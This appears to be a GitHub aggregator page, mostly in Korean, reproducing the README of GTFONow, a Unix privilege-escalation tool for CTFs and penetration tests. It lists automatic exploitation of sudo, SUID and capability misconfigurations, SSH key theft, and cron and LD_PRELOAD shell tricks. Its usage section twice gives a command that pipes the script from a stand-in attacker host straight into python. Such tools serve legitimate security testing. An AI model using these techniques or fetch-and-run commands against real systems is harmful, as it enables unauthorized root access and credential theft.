프로젝트
GitHub에서 보기
Frissi0n/GTFONow
소개
GTFOBins를 사용해 잘못 구성된 capabilities, sudo 및 SUID 바이너리의 권한을 자동으로 상승시킵니다.
보안 및 개인정보 보호What you can do
- Automatically exploit misconfigured sudo permissions.
- Automatically exploit misconfigured suid, sgid permissions.
- Automatically exploit misconfigured capabilities.
- Automatically convert arbitrary file read primitive into shell by stealing SSH keys.
측정된 스타 증가
- in 24h
- 0
- in 7 days
- 0
- in 15 days
- +1
- in 1 month
- 기록 수집 중
서로 겹치는 기간의 순증가량이며 일별 합계가 아닙니다. 측정값이 없으면 비워 둡니다. 스타는 관심도를 나타내며 품질을 보장하지 않습니다.
README.md
OriginalGTFONow
Automatic privilege escalation on unix systems by exploiting misconfigured setuid/setgid binaries, capabilities and sudo permissions. Designed for CTFs but also applicable in real world pentests.
✅ Features
- Automatically exploit misconfigured sudo permissions.
- Automatically exploit misconfigured suid, sgid permissions.
- Automatically exploit misconfigured capabilities.
- Automatically convert arbitrary file read primitive into shell by stealing SSH keys.
- Automatically convert arbitrary file write primitive into shell by dropping SSH keys.
- Automatically convert arbitrary file write primitive into shell by writing to cron.
- Automatically convert arbitrary file write primitive into shell using LD_PRELOAD.
- Single file, easy to run fileless with
curl http://attackerhost/gtfonow.py | python
💻 Usage
To use GTFONow, simply run the script from your command line. The basic syntax is as follows:
python gtfonow.py [OPTIONS]
It can also be run by piping the output of curl:
curl http://attacker.host/gtfonow.py | python
Options
--level: Sets the level of checks to perform. You can choose between:1(default) for a quick scan.2for a more thorough scan.- Example:
python gtfonow.py --level 2
--risk: Specifies the risk level of the exploit to perform. The options are:1(default) for safe operations.2for more aggressive operations such as file modifications, primarily for use in CTFs, if using on real engagements, ensure you understand what this is doing.- Example:
python gtfonow.py --risk 2
--command: Issues a single command instead of spawning an interactive shell. This is mainly for debugging purposes.- Example:
python gtfonow.py --command 'ls -la'
- Example:
--auto: Automatically exploits without user wizard.-v,--verbose: Enables verbose output.- Example:
python gtfonow.py --verbose
- Example:
Compatibility
By design GTFONow is a backwards compatible, stdlib only python script, meaning it should work on any variant of Unix if Python is installed.
- Python2.*
- Python3.*
- No 3rd party dependencies
- Any Unix Variant (Linux, MacOS,*Nix)
- Any architecture eg (X86/ARM64/X86-64)
🙏 Credits
- Payloads thanks to GTFOBins.
관련 프로젝트 살펴보기
불러오는 중…